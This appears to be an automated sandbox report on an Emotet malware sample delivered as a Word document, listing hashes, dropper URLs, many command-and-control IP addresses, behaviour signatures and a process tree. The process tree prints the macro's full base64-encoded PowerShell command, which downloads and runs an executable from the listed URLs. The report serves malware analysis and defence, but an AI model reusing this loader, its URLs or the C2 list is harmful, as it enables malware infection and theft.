emotet | 9922b76bfdc024016dde4bbdb94099ac4a6ed95e4843cad3a7c5e1869dbdaef8

General

Target
Q37DBXGN990M3.doc
Size 152KB
Sample200915-tkf3vr4pej
SHA256 9922b76bfdc024016dde4bbdb94099ac4a6ed95e4843cad3a7c5e1869dbdaef8
MD5 2cef4a6caec772e2c4c65a500acaa4eb
SHA1 aa1ffc53ef0dea2a8de0e3223468ee27cc306eca
SHA512 e3d60dffcdd6249defbf5cd75bf3f7e76d9fcc017ead8a59a1484042d7da2bd527c534c17db67ba3921eed1987ac1f055c65f6a9a929877b11aa4f0ef8fbbf7e
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://www.gozowindmill.com/meteo/97/
exe.dropper
http://www.greaudstudio.com/docs/Z/
exe.dropper
https://b176f.cn/wp-admin/1/
exe.dropper
https://blog.socialpill.in/jdzetd/fZuInax/
exe.dropper
http://maisshake.com.br/wp-includes/dPmzV1/
exe.dropper
http://mesdelicesitaliens.fr/wp-admin/tSlCBpP/
exe.dropper
http://grndl.com/oinj/j4/

Extracted

Family

emotet

C2

104.32.141.43:80
104.156.59.7:8080
120.138.30.150:8080
139.59.67.118:443
61.92.17.12:80
103.86.49.11:8080
174.45.13.118:80
75.139.38.211:80
104.131.11.150:443
121.124.124.40:7080
200.114.213.233:8080
185.94.252.104:443
181.169.34.190:80
187.161.206.24:80
93.147.212.206:80
176.111.60.55:8080
83.169.36.251:8080
174.102.48.180:443
24.179.13.119:80
120.150.60.189:80
107.5.122.110:80
37.187.72.193:8080
50.91.114.38:80
168.235.67.138:7080
84.39.182.7:80
219.74.18.66:443
91.211.88.52:7080
5.196.74.210:8080
24.137.76.62:80
87.106.136.232:8080
5.39.91.110:7080
104.131.44.150:8080
201.173.217.124:443
62.75.141.82:80
153.177.101.120:443
153.232.188.106:80
139.99.158.11:443
85.66.181.138:80
209.141.54.221:8080
85.152.162.105:80
82.225.49.121:80
162.241.242.173:8080
169.239.182.217:8080
1.221.254.82:80
50.35.17.13:80
78.24.219.147:8080
89.216.122.92:80
82.80.155.43:80
87.106.139.101:8080
85.214.28.226:8080
194.187.133.160:443
74.120.55.163:80
157.245.99.39:8080
74.208.45.104:8080
79.137.83.50:443
139.59.60.244:8080
95.179.229.244:8080
203.153.216.189:7080
203.117.253.142:80
172.91.208.86:80
46.105.131.79:8080
110.145.77.103:80
188.219.31.12:80
68.188.112.97:80
109.74.5.95:8080
62.30.7.67:443
137.59.187.107:8080
156.155.166.221:80
104.236.246.93:8080
94.23.216.33:80
94.23.237.171:443
95.213.236.64:8080
79.98.24.39:8080
97.82.79.83:80
47.144.21.12:443
37.139.21.175:8080
139.162.108.71:8080
12.30.50.130:80
94.200.114.161:80
78.187.156.31:80
61.19.246.238:443
85.105.205.77:8080
139.130.242.43:80
213.196.135.145:80
137.119.36.33:80
24.43.99.75:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2492	2848	powershell.exe	72

Blacklisted process makes network request 4 IoCs

flow	pid	Process
23	2492	powershell.exe
25	2492	powershell.exe
27	2492	powershell.exe
29	2492	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2112	Ujkfmkgc.exe
3816	BcastDVRClient.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\mfksproxy\BcastDVRClient.exe	Ujkfmkgc.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3956	WINWORD.EXE
3956	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
3816	BcastDVRClient.exe
3816	BcastDVRClient.exe
3816	BcastDVRClient.exe
3816	BcastDVRClient.exe
3816	BcastDVRClient.exe
3816	BcastDVRClient.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2492	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
2112	Ujkfmkgc.exe
2112	Ujkfmkgc.exe
3816	BcastDVRClient.exe
3816	BcastDVRClient.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2492 wrote to memory of 2112	2492	powershell.exe	80
PID 2492 wrote to memory of 2112	2492	powershell.exe	80
PID 2492 wrote to memory of 2112	2492	powershell.exe	80
PID 2112 wrote to memory of 3816	2112	Ujkfmkgc.exe	81
PID 2112 wrote to memory of 3816	2112	Ujkfmkgc.exe	81
PID 2112 wrote to memory of 3816	2112	Ujkfmkgc.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Q37DBXGN990M3.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3956

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABSADMAbABmAF8AZgAyAD0AKAAoACcASgA5ADEAeAB5ACcAKwAnAGwAJwApACsAJwA0ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBzAEUAcgBwAHIATwBGAEkAbABlAFwARgAwAEIAdwBlADUANABcAGQARwB3AGwAcgBZADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBpAGAAVAB5AHAAcgBgAE8AYABUAE8AYABjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAKAAnADIALAAgAHQAbAAnACsAJwBzACcAKwAnADEAMQAnACkAKwAnACwAJwArACgAJwAgAHQAJwArACcAbAAnACkAKwAnAHMAJwApADsAJABBADYANgBqADYAdgB1ACAAPQAgACgAJwBVAGoAJwArACcAawBmACcAKwAoACcAbQBrACcAKwAnAGcAYwAnACkAKQA7ACQAVABxAGQAeQA5ADkAbQA9ACgAKAAnAFoAdwAnACsAJwBjAGsAcAAnACkAKwAnADUAJwArACcAYgAnACkAOwAkAFcAbgBpAHUAawBrAGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwA0ACcAKwAnAHgAUAAnACkAKwAoACcARgAwACcAKwAnAGIAdwAnACkAKwAoACcAZQAnACsAJwA1ADQAJwArACcANAB4AFAARABnAHcAJwApACsAKAAnAGwAcgB5ADQAJwArACcANAAnACkAKwAnAHgAUAAnACkALgAiAHIARQBwAEwAQQBgAEMARQAiACgAKABbAGMAaABhAFIAXQA1ADIAKwBbAGMAaABhAFIAXQAxADIAMAArAFsAYwBoAGEAUgBdADgAMAApACwAJwBcACcAKQApACsAJABBADYANgBqADYAdgB1ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAQwBqAGgAZQBnADQANQA9ACgAJwBaAHQAJwArACcAaAAnACsAKAAnAG4AeQAnACsAJwB0AG8AJwApACkAOwAkAEcAdQBjAGgAcwBoADEAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAQwBMAGkARQBuAHQAOwAkAEYAdwBsADEAcwBzAHYAPQAoACcAaAAnACsAKAAnAHQAdABwADoALwAvAHcAJwArACcAdwB3AC4AJwArACcAZwBvAHoAbwAnACsAJwB3ACcAKQArACgAJwBpACcAKwAnAG4AZABtACcAKwAnAGkAbAAnACkAKwAoACcAbAAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAG0AZQB0AGUAbwAvACcAKwAnADkANwAnACkAKwAoACcALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AdwB3AHcAJwApACsAJwAuAGcAJwArACgAJwByAGUAJwArACcAYQAnACkAKwAnAHUAJwArACgAJwBkAHMAdAB1AGQAJwArACcAaQBvAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AZAAnACkAKwAoACcAbwAnACsAJwBjAHMALwBaACcAKwAnAC8AKgBoAHQAdABwAHMAJwApACsAJwA6ACcAKwAoACcALwAvAGIAJwArACcAMQA3ACcAKwAnADYAZgAuACcAKwAnAGMAJwApACsAJwBuACcAKwAoACcALwB3AHAAJwArACcALQAnACkAKwAoACcAYQAnACsAJwBkAG0AaQBuACcAKQArACgAJwAvADEALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwA6AC8AJwApACsAJwAvAGIAJwArACgAJwBsAG8AJwArACcAZwAnACkAKwAoACcALgAnACsAJwBzAG8AJwApACsAJwBjAGkAJwArACgAJwBhAGwAJwArACcAcABpACcAKQArACgAJwBsAGwALgBpAG4ALwBqAGQAJwArACcAegAnACsAJwBlAHQAJwArACcAZAAvACcAKQArACcAZgBaACcAKwAnAHUAJwArACgAJwBJAG4AYQB4ACcAKwAnAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAbQBhACcAKwAnAGkAcwAnACkAKwAnAHMAJwArACcAaAAnACsAKAAnAGEAJwArACcAawBlACcAKQArACcALgAnACsAJwBjAG8AJwArACgAJwBtAC4AJwArACcAYgAnACsAJwByAC8AJwArACcAdwBwAC0AaQBuAGMAbAB1AGQAJwApACsAJwBlACcAKwAoACcAcwAvAGQAUAAnACsAJwBtACcAKQArACcAegBWACcAKwAnADEALwAnACsAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8ALwBtACcAKwAnAGUAJwArACcAcwBkACcAKQArACcAZQBsACcAKwAoACcAaQAnACsAJwBjAGUAJwApACsAKAAnAHMAaQB0AGEAJwArACcAbAAnACkAKwAoACcAaQBlAG4AJwArACcAcwAnACkAKwAoACcALgBmAHIAJwArACcALwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQAnACsAJwBkACcAKQArACgAJwBtACcAKwAnAGkAbgAnACkAKwAnAC8AdAAnACsAKAAnAFMAbAAnACsAJwBDAEIAcABQAC8AJwApACsAKAAnACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACkAKwAoACcAZwByACcAKwAnAG4AZABsAC4AYwBvACcAKwAnAG0ALwBvACcAKQArACgAJwBpACcAKwAnAG4AagAvAGoAJwArACcANAAvACcAKQApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAdgBpADEAeABrAHAAPQAoACcASgAnACsAJwB2AHoAJwArACgAJwAxADEAbgAnACsAJwBuACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARgBtAGQAcwBlAG8ANwAgAGkAbgAgACQARgB3AGwAMQBzAHMAdgApAHsAdAByAHkAewAkAEcAdQBjAGgAcwBoADEALgAiAEQATwB3AG4AbABgAE8AYQBEAEYAYABJAGwAZQAiACgAJABGAG0AZABzAGUAbwA3ACwAIAAkAFcAbgBpAHUAawBrAGoAKQA7ACQARwA5AGkAYgAwADkAbwA9ACgAKAAnAFEAJwArACcAMQB6ACcAKQArACgAJwBwACcAKwAnADEAXwBwACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFcAbgBpAHUAawBrAGoAKQAuACIATABlAGAATgBHAGAAVABoACIAIAAtAGcAZQAgADIAOAA5ADEANQApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABXAG4AaQB1AGsAawBqACkAOwAkAEwAYQA2AHcAbAB2ADYAPQAoACgAJwBGADMAJwArACcAdwBkAGQAJwApACsAJwB5AHcAJwApADsAYgByAGUAYQBrADsAJABUAGUAMQBrAG0AeABtAD0AKAAoACcARwBkADkAdgAnACsAJwBhACcAKQArACcAawAnACsAJwBvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBzAGsAbQBzADUAOQA9ACgAKAAnAEsAaAAzACcAKwAnAGcAJwApACsAJwA0ADgAJwArACcAdAAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2492
- C:\Users\Admin\F0bwe54\Dgwlry4\Ujkfmkgc.exe
  "C:\Users\Admin\F0bwe54\Dgwlry4\Ujkfmkgc.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Windows\SysWOW64\mfksproxy\BcastDVRClient.exe
    "C:\Windows\SysWOW64\mfksproxy\BcastDVRClient.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3816

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2112-15-0x0000000000630000-0x0000000000640000-memory.dmp

Download

memory/2112-14-0x0000000000610000-0x0000000000622000-memory.dmp

Download

memory/2492-10-0x00000282B9F20000-0x00000282B9F21000-memory.dmp

Download

memory/2492-9-0x00000282B9D70000-0x00000282B9D71000-memory.dmp

Download

memory/2492-8-0x00007FF8FA560000-0x00007FF8FAF4C000-memory.dmp

Download

memory/3816-18-0x0000000000510000-0x0000000000522000-memory.dmp

Download

memory/3816-19-0x0000000000530000-0x0000000000540000-memory.dmp

Download

memory/3956-0-0x00007FF901DC0000-0x00007FF902486000-memory.dmp

Download

memory/3956-4-0x000002285B9BB000-0x000002285B9C2000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads